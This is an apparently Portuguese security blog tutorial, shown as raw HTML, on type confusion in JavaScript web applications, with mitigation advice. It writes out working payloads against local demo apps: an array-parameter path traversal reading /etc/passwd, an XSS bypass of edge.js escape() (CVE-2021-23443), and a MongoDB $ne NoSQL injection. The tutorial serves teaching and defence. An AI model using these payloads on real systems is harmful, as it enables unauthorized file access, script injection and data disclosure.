srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/javascript-example-dynamic.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/javascript-example-dynamic.png 1000w, https://blog.hackingclub.com/content/images/2024/08/javascript-example-dynamic.png 1140w" sizes="(min-width: 720px) 720px"></figure><h3 id="tipagem-est%C3%A1tica">Tipagem Est&#xE1;tica</h3><p>No Java, voc&#xEA; declara e inicializa a vari&#xE1;vel &#x201C;<strong>x</strong>&#x201D; com um valor inteiro. Como Java &#xE9; uma linguagem de tipagem est&#xE1;tica, uma vez que o tipo de uma vari&#xE1;vel &#xE9; declarado, ele n&#xE3;o pode ser alterado. Portanto, uma tentativa de atribuir uma string &#xE0; vari&#xE1;vel &#x201C;<strong>x</strong>&#x201D; resultaria em um erro de compila&#xE7;&#xE3;o, pois o tipo da vari&#xE1;vel &#x201C;<strong>x</strong>&#x201D;&#xA0; &#xE9; declarado como inteiro.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/java-example-static.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1150" height="444" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/java-example-static.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/java-example-static.png 1000w, https://blog.hackingclub.com/content/images/2024/08/java-example-static.png 1150w" sizes="(min-width: 720px) 720px"></figure><h3 id="o-que-%C3%A9-o-type-confusion">O Que &#xE9; o Type Confusion?</h3><p>Agora que compreendemos as diferen&#xE7;as entre tipagem <strong>din&#xE2;mica</strong> e <strong>est&#xE1;tica</strong>, podemos explorar o conceito de <strong>T<em>ype Confusion</em></strong>.</p><p><strong><em>Type Confusion</em></strong> &#xE9; uma vulnerabilidade que ocorre quando tipos de dados s&#xE3;o manipulados de forma inadequada, representando um risco &#xE0; seguran&#xE7;a do sistema. Essa vulnerabilidade &#xE9; mais comum em linguagens de tipagem din&#xE2;mica, onde os tipos s&#xE3;o determinados em tempo de execu&#xE7;&#xE3;o e podem ser alterados durante a execu&#xE7;&#xE3;o do programa. Esse tipo de vulnerabilidade pode resultar em diversos problemas de seguran&#xE7;a, pois o sistema pode interpretar ou processar dados de maneira inesperada com impactos que podem variar dependendo do contexto da aplica&#xE7;&#xE3;o.</p><h3 id="exemplo-de-c%C3%B3digo-vulner%C3%A1vel">Exemplo de C&#xF3;digo Vulner&#xE1;vel</h3><p>Vamos analisar um exemplo de c&#xF3;digo que ilustra uma vulnerabilidade de <strong>Path Traversal</strong>.</p><p> O c&#xF3;digo a seguir &#xE9; uma aplica&#xE7;&#xE3;o Express simples que serve arquivos a partir do diret&#xF3;rio <code>/files</code>, com base no par&#xE2;metro de consulta <code>file</code>. No entanto, &#xE9; importante observar que a explora&#xE7;&#xE3;o dessa vulnerabilidade de <strong>Path Traversal</strong> s&#xF3; &#xE9; poss&#xED;vel devido &#xE0; exist&#xEA;ncia de uma vulnerabilidade de <strong>Type Confusion</strong>. Sem explorar o <strong>Type Confusion</strong>, n&#xE3;o conseguir&#xED;amos explorar efetivamente o <strong>Path Traversal.</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app.js.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1237" height="571" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app.js.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app.js.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app.js.png 1237w" sizes="(min-width: 720px) 720px"></figure><h3 id="entendendo-o-m%C3%A9todo-indexof">Entendendo o M&#xE9;todo indexOf</h3><p>Antes de prosseguirmos com a explora&#xE7;&#xE3;o, &#xE9; essencial compreender o que &#xE9; o m&#xE9;todo <code>indexOf</code>. </p><p>No c&#xF3;digo a seguir, o m&#xE9;todo <code>indexOf</code> &#xE9; utilizado para verificar se o par&#xE2;metro <code>file</code> cont&#xE9;m a sequ&#xEA;ncia <code>..</code>, que pode indicar uma tentativa de navega&#xE7;&#xE3;o para diret&#xF3;rios superiores.</p><p>O m&#xE9;todo <code>indexOf</code> retorna o &#xED;ndice da primeira ocorr&#xEA;ncia da substring especificada (no caso, <code>&quot;..&quot;</code>) dentro da string. Se a substring n&#xE3;o for encontrada, o m&#xE9;todo retorna <code>-1</code>. Portanto, o c&#xF3;digo usa <code>file.indexOf(&quot;..&quot;) !== -1</code> para detectar poss&#xED;veis tentativas de <strong>Path Traversal</strong> e bloquear o acesso a caminhos suspeitos.</p><p>Agora que entendemos como o m&#xE9;todo <code>indexOf</code> &#xE9; utilizado para detectar a presen&#xE7;a de sequ&#xEA;ncias espec&#xED;ficas, como <code>..</code>, vamos observar a aplica&#xE7;&#xE3;o em funcionamento.</p><p>Primeiro, faremos uma solicita&#xE7;&#xE3;o para acessar um arquivo v&#xE1;lido dentro do diret&#xF3;rio <code>/files</code>. Em seguida, vamos testar a aplica&#xE7;&#xE3;o com uma tentativa de <strong>Path Traversal</strong> para verificar como ela lida com essa entrada e se a prote&#xE7;&#xE3;o contra essa vulnerabilidade est&#xE1; funcionando corretamente.</p><p>Vamos tentar acessar um arquivo existente, por exemplo, <code>document.txt</code>, que est&#xE1; localizado dentro do diret&#xF3;rio <code>/files</code>. A URL de solicita&#xE7;&#xE3;o seria:</p><pre><code>http://localhost:3000/?file=document.txt</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/document.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1011" height="310" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/document.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/document.png 1000w, https://blog.hackingclub.com/content/images/2024/08/document.png 1011w" sizes="(min-width: 720px) 720px"></figure><p>Agora, vamos testar a tentativa de <strong>Path Traversal</strong> usando o par&#xE2;metro <code>file</code> para acessar um diret&#xF3;rio superior. Por exemplo:</p><pre><code>http://localhost:3000/?file=../../etc/passwd</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/detected.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1097" height="321" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/detected.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/detected.png 1000w, https://blog.hackingclub.com/content/images/2024/08/detected.png 1097w" sizes="(min-width: 720px) 720px"></figure><h3 id="o-impacto-do-type-confusion">O Impacto do Type Confusion</h3><p>Enquanto o m&#xE9;todo <code>indexOf</code> &#xE9; usado para detectar tentativas b&#xE1;sicas de <strong>Path Traversal</strong>, &#xE9; importante notar uma limita&#xE7;&#xE3;o significativa relacionada ao <strong>Type Confusion</strong>. No c&#xF3;digo apresentado, n&#xE3;o h&#xE1; uma verifica&#xE7;&#xE3;o expl&#xED;cita do tipo do par&#xE2;metro <code>file</code>, o que pode levar a problemas se o tipo da entrada n&#xE3;o for o esperado.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app1.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1233" height="365" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app1.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app1.png 1233w" sizes="(min-width: 720px) 720px"></figure><h3 id="comportamento-do-m%C3%A9todo-indexof-em-strings-e-arrays">Comportamento do M&#xE9;todo <code>indexOf</code> em Strings e Arrays</h3><p>Existem alguns m&#xE9;todos integrados que s&#xE3;o definidos tanto em <code>String</code> quanto em <code>Array</code> e que possuem o mesmo nome, como <code>includes</code>, <code>indexOf</code>, <code>lastIndexOf</code>, etc. </p><p>O m&#xE9;todo <code>indexOf</code> tem comportamentos distintos dependendo do tipo da vari&#xE1;vel com a qual &#xE9; chamado. Em JavaScript:</p><ul><li><strong>String.prototype.indexOf()</strong>: Quando o par&#xE2;metro <code>file</code> &#xE9; uma string, indexOf(&quot;..&quot;) verifica a presen&#xE7;a da substring &quot;..&quot; e retorna o &#xED;ndice da sua primeira ocorr&#xEA;ncia. Se n&#xE3;o encontrado, retorna -1.</li><li><strong>Array.prototype.indexOf()</strong>: Se o par&#xE2;metro <code>file</code> fosse um array, o mesmo m&#xE9;todo <code>indexOf</code> verificaria se o elemento &quot;..&quot; est&#xE1; presente no array. Nesse caso, se o array contiver apenas um elemento, como [&quot;../&quot;], a fun&#xE7;&#xE3;o retornaria -1 se a substring n&#xE3;o for encontrada como um item do array.</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/indeof-example-2.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1096" height="383" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/indeof-example-2.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/indeof-example-2.png 1000w, https://blog.hackingclub.com/content/images/2024/08/indeof-example-2.png 1096w" sizes="(min-width: 720px) 720px"></figure><p>A aus&#xEA;ncia de uma verifica&#xE7;&#xE3;o rigorosa do tipo do par&#xE2;metro <code>file</code> permite a manipula&#xE7;&#xE3;o da entrada de maneiras inesperadas. Por exemplo, se um array for passado em vez de uma string, o m&#xE9;todo <code>indexOf</code> n&#xE3;o funcionar&#xE1; como esperado para detectar Path Traversal, o que pode permitir que o ataque seja bem-sucedido.</p><h3 id="convers%C3%A3o-de-strings-para-arrays">Convers&#xE3;o de Strings para Arrays</h3><p>Uma maneira de passar arrays em par&#xE2;metros de consulta &#xE9; atrav&#xE9;s da convers&#xE3;o de strings para arrays. O pacote <code>qs</code> &#xE9; amplamente utilizado para essa finalidade e &#xE9; comum em frameworks como Express.js. Ele transforma uma string de consulta em um objeto JavaScript para facilitar a manipula&#xE7;&#xE3;o dos dados.</p><p>O <code>qs</code> analisa a string de consulta e interpreta o tipo de dados com base na estrutura dos par&#xE2;metros. Por exemplo:</p><ul><li><strong>Par&#xE2;metros M&#xFA;ltiplos com o Mesmo Nome</strong>: Se uma string de consulta contiver m&#xFA;ltiplas ocorr&#xEA;ncias do mesmo nome de par&#xE2;metro, o <code>qs</code> as tratar&#xE1; como um array. Por exemplo, a consulta <code>?file=value1&amp;file=value2</code> ser&#xE1; convertida em um array <code>[&quot;value1&quot;, &quot;value2&quot;]</code>.</li><li><strong>Par&#xE2;metros Declarados como Arrays</strong>: O <code>qs</code> tamb&#xE9;m pode identificar par&#xE2;metros explicitamente declarados como arrays na string de consulta. Por exemplo, a consulta <code>?file[]=value1&amp;file[]=value2</code> ser&#xE1; interpretada como um array <code>[&quot;value1&quot;, &quot;value2&quot;]</code>.</li></ul><p>Isso significa que podemos enviar um par&#xE2;metro como um array para explorar falhas na verifica&#xE7;&#xE3;o de tipo e potencialmente contornar as medidas de seguran&#xE7;a que dependem da manipula&#xE7;&#xE3;o de strings.</p><p>Agora que compreendemos como a manipula&#xE7;&#xE3;o de arrays em par&#xE2;metros de consulta pode contornar a verifica&#xE7;&#xE3;o de tipo, vamos retornar &#xE0; aplica&#xE7;&#xE3;o e testar essa vulnerabilidade na pr&#xE1;tica.</p><p>Utilizaremos um par&#xE2;metro de consulta formatado como um array para explorar a falha de Path Traversal e acessar o arquivo <code>passwd</code> :</p><pre><code>http://127.0.0.1:3000/?file[]=../../../../etc/passwd</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/passwd.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1210" height="359" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/passwd.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/passwd.png 1000w, https://blog.hackingclub.com/content/images/2024/08/passwd.png 1210w" sizes="(min-width: 720px) 720px"></figure><h2 id="do-type-confusion-ao-cross-site-scripting-xss-uma-perspectiva-ampliada">Do Type Confusion ao Cross-site Scripting (XSS): Uma Perspectiva Ampliada</h2><p>Ap&#xF3;s explorar o impacto do <strong>T<em>ype Confusion</em></strong> na vulnerabilidade de <strong>Path Traversal</strong>, &#xE9; crucial expandir nossa compreens&#xE3;o para outras formas de falhas de seguran&#xE7;a na web.</p><p>O <strong>T<em>ype Confusion</em></strong> pode ter implica&#xE7;&#xF5;es mais amplas do que inicialmente aparenta. Por exemplo, quando o tipo de dado n&#xE3;o &#xE9; devidamente verificado, outras vulnerabilidades, como Cross-site Scripting (XSS), podem ser facilitadas ou exploradas de maneiras inesperadas.</p><h3 id="o-caso-do-cve-2021-23443">O Caso do CVE-2021-23443</h3><p>Um exemplo concreto &#xE9; o <strong>CVE-2021-23443</strong>, uma vulnerabilidade significativa identificada na biblioteca <code>edge.js</code>. Essa falha envolve XSS, permitindo que um atacante injete e execute scripts maliciosos no navegador dos usu&#xE1;rios.</p><p>Vamos analisar como essa vulnerabilidade foi explorada em vers&#xF5;es anteriores &#xE0; <strong>5.3.2</strong> e as implica&#xE7;&#xF5;es que ela teve para a seguran&#xE7;a das aplica&#xE7;&#xF5;es que utilizavam essa biblioteca. Embora essa falha tenha sido corrigida nas vers&#xF5;es posteriores, ela serve como um exemplo importante da necessidade de verifica&#xE7;&#xE3;o robusta de tipos e outras pr&#xE1;ticas de seguran&#xE7;a para proteger aplica&#xE7;&#xF5;es web contra uma variedade de amea&#xE7;as.</p><p>No exemplo de c&#xF3;digo abaixo, apresentamos uma aplica&#xE7;&#xE3;o b&#xE1;sica em Node.js que simula uma loja de produtos. A aplica&#xE7;&#xE3;o utiliza o framework Express para gerenciar rotas e servir conte&#xFA;do est&#xE1;tico, enquanto o edge.js &#xE9; empregado para renderizar p&#xE1;ginas din&#xE2;micas. O c&#xF3;digo inclui um campo de pesquisa onde os usu&#xE1;rios podem pesquisar por produtos.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app-search-xss.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1207" height="710" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app-search-xss.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app-search-xss.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app-search-xss.png 1207w" sizes="(min-width: 720px) 720px"></figure><p>Vamos simular uma busca por produtos utilizando a aplica&#xE7;&#xE3;o. Podemos fazer uma requisi&#xE7;&#xE3;o para procurar por um produto espec&#xED;fico, como &quot;<strong>pants</strong>&quot;, utilizando o seguinte formato de URL:</p><pre><code>http://localhost:3000/?search=pants</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1307" height="829" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app-search-xss-no-results.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app-search-xss-no-results.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results.png 1307w" sizes="(min-width: 720px) 720px"></figure><p>Agora, vamos observar como a aplica&#xE7;&#xE3;o se comporta ao inserirmos uma payload de XSS. Suponha que um usu&#xE1;rio mal-intencionado tente explorar a aplica&#xE7;&#xE3;o ao passar a seguinte payload no campo de pesquisa:</p><pre><code>http://localhost:3000/?search=&lt;script&gt;alert(&apos;XSS&apos;)&lt;/script&gt;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results-payload.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1302" height="835" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app-search-xss-no-results-payload.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app-search-xss-no-results-payload.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results-payload.png 1302w" sizes="(min-width: 720px) 720px"></figure><p>Ao inserir a payload de XSS, notamos que nenhum alerta foi exibido na tela. Em vez disso, o c&#xF3;digo JavaScript injetado foi exibido como texto literal. Ao analisar o c&#xF3;digo HTML da p&#xE1;gina, vemos que a aplica&#xE7;&#xE3;o fez a codifica&#xE7;&#xE3;o dos caracteres especiais, transformando a payload em:</p><pre><code>&amp;lt;script&amp;gt;alert(&amp;#x27;XSS&amp;#x27;)&amp;lt;/script&amp;gt;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results-payload-html-encoding.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1142" height="217" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/app-search-xss-no-results-payload-html-encoding.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/app-search-xss-no-results-payload-html-encoding.png 1000w, https://blog.hackingclub.com/content/images/2024/08/app-search-xss-no-results-payload-html-encoding.png 1142w" sizes="(min-width: 720px) 720px"></figure><p>Essa transforma&#xE7;&#xE3;o para entidades HTML (como <code>&amp;lt;, &amp;gt; e &amp;#x27;</code>) impede que o conte&#xFA;do seja interpretado como c&#xF3;digo execut&#xE1;vel pelo navegador. O HTML encoding garante que a entrada do usu&#xE1;rio seja tratada como texto comum, protegendo a aplica&#xE7;&#xE3;o contra ataques de XSS ao evitar a execu&#xE7;&#xE3;o de scripts maliciosos.</p><h3 id="a-fun%C3%A7%C3%A3o-escape-a-c%C3%BAmplice-inesperada-na-vulnerabilidade-de-type-confusion">A Fun&#xE7;&#xE3;o <code>escape()</code>: A C&#xFA;mplice Inesperada na Vulnerabilidade de Type Confusion</h3><p>Agora, vamos dar uma olhada na fun&#xE7;&#xE3;o <code>escape()</code> da biblioteca edge.js, uma pe&#xE7;a fundamental para escapar caracteres especiais em &#x201C;<strong>strings</strong>&#x201D; e evitar inje&#xE7;&#xF5;es de c&#xF3;digo. &#xC9; quase ir&#xF4;nico como algo projetado para proteger a aplica&#xE7;&#xE3;o pode se tornar um problema de seguran&#xE7;a quando n&#xE3;o se faz uma verifica&#xE7;&#xE3;o adequada do tipo de entrada.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/funcao-vuln.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1155" height="467" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/funcao-vuln.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/funcao-vuln.png 1000w, https://blog.hackingclub.com/content/images/2024/08/funcao-vuln.png 1155w" sizes="(min-width: 720px) 720px"></figure><p>A fun&#xE7;&#xE3;o <code>escape()</code> mostrada na imagem acima &#xE9; projetada para escapar caracteres especiais em strings, ajudando a prevenir inje&#xE7;&#xF5;es de c&#xF3;digo . Ela faz isso apenas se a entrada for uma string, usando <code>helpers_1.string.escapeHTML(input)</code>. Se a entrada n&#xE3;o for uma string, a fun&#xE7;&#xE3;o verifica se &#xE9; uma inst&#xE2;ncia de <code>SafeValue</code> e retorna seu valor. Caso contr&#xE1;rio, retorna a entrada original sem modifica&#xE7;&#xF5;es.</p><p>O problema surge quando um tipo de dado inesperado, como um array, &#xE9; passado para a fun&#xE7;&#xE3;o. Nesse caso, a fun&#xE7;&#xE3;o <code>escape()</code> n&#xE3;o realiza o escape de caracteres especiais, retornando a entrada original sem a devida sanitiza&#xE7;&#xE3;o.</p><p>Sabendo disso, podemos explorar a vulnerabilidade enviando um array como entrada:</p><pre><code>http://localhost:3000/?search[]=&lt;script&gt;alert(&apos;XSS&apos;)&lt;/script&gt;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/xss-array-trigged.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1303" height="822" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/xss-array-trigged.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/xss-array-trigged.png 1000w, https://blog.hackingclub.com/content/images/2024/08/xss-array-trigged.png 1303w" sizes="(min-width: 720px) 720px"></figure><h2 id="prevenindo-ataques-de-nosql-injection">Prevenindo ataques de NoSQL injection?</h2><p>Enquanto navegava pela internet, encontrei um c&#xF3;digo que parecia prometer prote&#xE7;&#xE3;o autom&#xE1;tica contra inje&#xE7;&#xF5;es. A imagem que acompanhei dizia: &#x201C;<strong>Ao utilizar um ODM ou ORM, voc&#xEA; se beneficia automaticamente de prote&#xE7;&#xF5;es integradas contra inje&#xE7;&#xE3;o NoSQL, reduzindo o risco de vulnerabilidades em seu c&#xF3;digo.</strong>&#x201D;</p><p>O c&#xF3;digo que ilustra essa &#x201C;<strong>prote&#xE7;&#xE3;o</strong>&#x201D; &#xE9; o seguinte:</p><pre><code class="language-javascript">// Mongoose example with validation and sanitization
const userSchema = new mongoose.Schema({
  name: { type: String, required: true },
  age: { type: Number, min: 0, max: 150 },
});
const UserModel = mongoose.model(&apos;User&apos;, userSchema);

const name = req.body.name; // User input
const query = UserModel.find({ name: name });

query.exec((err, result) =&gt; {
  // Handle the result
});</code></pre><p>Embora o c&#xF3;digo acima utilize um ODM como o Mongoose, ele ainda pode ser vulner&#xE1;vel a ataques se n&#xE3;o houver uma verifica&#xE7;&#xE3;o rigorosa dos tipos de dados. Vamos explorar como essas prote&#xE7;&#xF5;es podem ser contornadas e como os ataques de <strong>NoSQL injection</strong> podem ser facilitados por falhas de <strong>Type Confusion</strong>.</p><p>O c&#xF3;digo abaixo foi adaptado a partir do exemplo acima que prometia prote&#xE7;&#xE3;o autom&#xE1;tica contra <strong>inje&#xE7;&#xF5;es NoSQL</strong>:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/APP-NOSQL1.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1171" height="677" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/APP-NOSQL1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/APP-NOSQL1.png 1000w, https://blog.hackingclub.com/content/images/2024/08/APP-NOSQL1.png 1171w" sizes="(min-width: 720px) 720px"></figure><p>Ap&#xF3;s iniciar a aplica&#xE7;&#xE3;o, podemos realizar uma requisi&#xE7;&#xE3;o POST ao endpoint <code>/users</code>, fornecendo o valor &quot;<strong>Frank</strong>&quot; para o par&#xE2;metro <code>name</code> a fim de buscar um usu&#xE1;rio espec&#xED;fico.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/nosql-burp-request-default.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1171" height="407" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/nosql-burp-request-default.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/nosql-burp-request-default.png 1000w, https://blog.hackingclub.com/content/images/2024/08/nosql-burp-request-default.png 1171w" sizes="(min-width: 720px) 720px"></figure><p>At&#xE9; aqui, tudo parece estar funcionando conforme o esperado. No entanto, &#xE9; exatamente aqui que surge a vulnerabilidade de <strong>Type Confusion</strong>. Ao analisarmos o c&#xF3;digo, notamos que n&#xE3;o h&#xE1; nenhuma verifica&#xE7;&#xE3;o do tipo da vari&#xE1;vel name, como mostrado neste trecho:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/nosql-app.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1203" height="386" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/nosql-app.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/nosql-app.png 1000w, https://blog.hackingclub.com/content/images/2024/08/nosql-app.png 1203w" sizes="(min-width: 720px) 720px"></figure><p>Sem a devida verifica&#xE7;&#xE3;o do tipo de entrada, a aplica&#xE7;&#xE3;o pode ser vulner&#xE1;vel a ataques, como <strong>inje&#xE7;&#xF5;es NoSQL</strong>, aproveitando-se da falta de controle sobre o tipo de dado recebido.</p><p>Se olharmos a documenta&#xE7;&#xE3;o do <strong>MongoDB</strong>, veremos que ela fornece diversos operadores que podem ser utilizados em consultas. Um desses operadores &#xE9; o <code>$ne</code>, que &#xE9; utilizado para buscar documentos onde o valor de um campo n&#xE3;o &#xE9; igual a um valor especificado.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/doc-mongodb-ne.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1199" height="493" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/doc-mongodb-ne.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/doc-mongodb-ne.png 1000w, https://blog.hackingclub.com/content/images/2024/08/doc-mongodb-ne.png 1199w" sizes="(min-width: 720px) 720px"></figure><p>Ap&#xF3;s revisar a documenta&#xE7;&#xE3;o do operador <code>$ne</code>, podemos ver como ele pode ser usado para explorar a vulnerabilidade de <strong>NoSQL injection</strong> associada &#xE0; falta de valida&#xE7;&#xE3;o rigorosa de tipos, especificamente o <strong>Type Confusion</strong>.</p><p>Neste contexto, podemos empregar a seguinte payload:</p><pre><code>{&quot;name&quot;: {&quot;$ne&quot;: null}}</code></pre><p>Quando essa payload &#xE9; enviada, o operador <code>$ne</code> instrui o MongoDB a retornar todos os documentos onde o campo <code>name</code> &#xE9; diferente de <code>null</code>. Devido &#xE0; aus&#xEA;ncia de valida&#xE7;&#xE3;o do tipo da vari&#xE1;vel <code>name</code> no c&#xF3;digo, a aplica&#xE7;&#xE3;o n&#xE3;o est&#xE1; configurada para tratar adequadamente esse tipo de consulta. Isso leva &#xE0; recupera&#xE7;&#xE3;o de todos os usu&#xE1;rios, conforme ilustrado na imagem abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/payload-nosql-return-allusers.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1544" height="649" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/payload-nosql-return-allusers.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2024/08/payload-nosql-return-allusers.png 1000w, https://blog.hackingclub.com/content/images/2024/08/payload-nosql-return-allusers.png 1544w" sizes="(min-width: 720px) 720px"></figure><h3 id="mitigando-o-type-confusion">Mitigando o Type Confusion</h3><p>Para mitigar eficazmente vulnerabilidades de Type Confusion, &#xE9; essencial adotar uma abordagem rigorosa de valida&#xE7;&#xE3;o de tipos no c&#xF3;digo. Isso envolve a verifica&#xE7;&#xE3;o expl&#xED;cita do tipo de uma vari&#xE1;vel antes de realizar opera&#xE7;&#xF5;es que dependam de tipos espec&#xED;ficos. O uso do operador <code>typeof</code> em JavaScript &#xE9; uma pr&#xE1;tica &#xFA;til para garantir que as vari&#xE1;veis sejam do tipo esperado.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/typeof.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="842" height="663" srcset="https://blog.hackingclub.com/content/images/size/w600/2024/08/typeof.png 600w, https://blog.hackingclub.com/content/images/2024/08/typeof.png 842w" sizes="(min-width: 720px) 720px"></figure><p>Al&#xE9;m disso, a utiliza&#xE7;&#xE3;o de linguagens com tipagem est&#xE1;tica, como TypeScript, pode ajudar significativamente a prevenir problemas relacionados a type confusion. TypeScript oferece uma verifica&#xE7;&#xE3;o de tipos em tempo de compila&#xE7;&#xE3;o, o que reduz a probabilidade de erros de tipo em tempo de execu&#xE7;&#xE3;o e fortalece a robustez do c&#xF3;digo.</p><p>Outra recomenda&#xE7;&#xE3;o &#xE9; o uso de bibliotecas de valida&#xE7;&#xE3;o de dados, como o Zod. O Zod permite definir tipos de dados de forma clara e concisa, garantindo que apenas dados v&#xE1;lidos sejam aceitos. Isso contribui para a seguran&#xE7;a do c&#xF3;digo, minimizando o risco de processamento inadequado de dados e fortalecendo a prote&#xE7;&#xE3;o contra vulnerabilidades.</p><h3 id="exemplo-de-mitiga%C3%A7%C3%A3o-no-c%C3%B3digo-da-biblioteca-edgejs">Exemplo de Mitiga&#xE7;&#xE3;o no C&#xF3;digo da Biblioteca edge.js</h3><p>Para ilustrar a aplica&#xE7;&#xE3;o das t&#xE9;cnicas de mitiga&#xE7;&#xE3;o discutidas, vamos analisar uma corre&#xE7;&#xE3;o implementada na fun&#xE7;&#xE3;o <code>escape()</code> da biblioteca <code>edge.js</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2024/08/mitigation-edge.png" class="kg-image" alt="Type Confusion em Aplica&#xE7;&#xF5;es Web e seus Impactos em Seguran&#xE7;a" loading="lazy" width="1192" height="545" 